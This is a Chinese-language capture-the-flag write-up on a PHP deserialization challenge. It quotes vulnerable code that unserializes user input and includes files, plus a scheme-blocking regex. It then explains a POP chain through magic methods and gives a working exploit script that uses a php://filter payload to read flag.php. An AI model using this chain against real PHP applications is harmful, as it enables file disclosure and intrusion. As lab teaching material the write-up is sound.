Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
一道pop链的问题,反序列化漏洞进阶
思路如下
声明一个show
类,会调用__wakeup()
方法
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
我们让this->source
也是一个show
类,则会调用其__toString
方法
public function __toString(){
return $this->str->source;
}
我们接下来让this->str
是一个Test
类,其没有source
属性,则会调用__get
方法
public function __get($key){
$function = $this->p;
return $function();
}
我们最后让this->p
是Modifier
类,就会执行__invoke
方法,同时注意最核心的append
方法中有include
函数,可以使用php伪协议读文件
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
pop链构造依次如下
$a = new Show();
$a->source = new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();
最后exp如下
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
}
$a = new Show();
$a->source = new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>
最后总结使用到的魔法函数的知识
1.__invoke()当尝试以调用函数的方式调用一个对象时,该方法会被自动调用。比如执行Test(),而Test是我们创立的一个类,这样就会调用__invoke()函数
2.__get() 当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数
3. __toString() 方法是自动被调用的,是在直接输出对象引用时自动调用的